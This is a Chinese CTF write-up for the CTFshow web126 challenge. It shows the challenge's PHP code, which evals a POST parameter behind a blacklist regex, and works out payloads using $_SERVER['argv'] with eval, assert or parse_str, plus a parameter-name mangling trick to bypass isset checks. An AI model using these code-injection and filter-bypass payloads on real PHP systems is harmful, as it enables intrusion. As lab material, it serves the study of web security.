CTFshow-WEB入门-php特性web126
题目代码
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # # */ error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } }
php.ini配置register_argc_argv=On
——————————————
实验
<?php echo $_SERVER['QUERY_STRING']; echo '<br>'; var_dump($_SERVER['argv']);
?$fl0g=flag_give_me;的回显 $fl0g=flag_give_me; array(1) { [0]=> string(19) "$fl0g=flag_give_me;" }
?$x=x+$fl0g=flag_give_me;的回显 $x=x+$fl0g=flag_give_me; array(2) { [0]=> string(4) "$x=x" [1]=> string(19) "$fl0g=flag_give_me;" }
——————————————
于是可以得出让 $fl0g="flag_give_me" 的几种组合
?$fl0g=flag_give_me; $a等于["$fl0g=flag_give_me;"] $c等于eval($a[0]) 也就是执行了eval("$fl0g=flag_give_me;");
?$fl0g=flag_give_me $a等于["$fl0g=flag_give_me"] $c等于assert($a[0]) 也就是执行了assert("$fl0g=flag_give_me");
?a=1+fl0g=flag_give_me $a等于["a=1","fl0g=flag_give_me"] $c等于parse_str($a[1]) 也就是执行了parse_str("fl0g=flag_give_me");解析到变量中
最后一个不能用?fl0g=flag_give_me是因为要满足 !isset($_GET['fl0g'] 这个条件
——————————————
参数名带有这些符号GET( 空格+.[ )、POST( 空格.[ )会转为_
特殊的是遇到 [ ,后面的会保持原符号
所以应该这样传CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])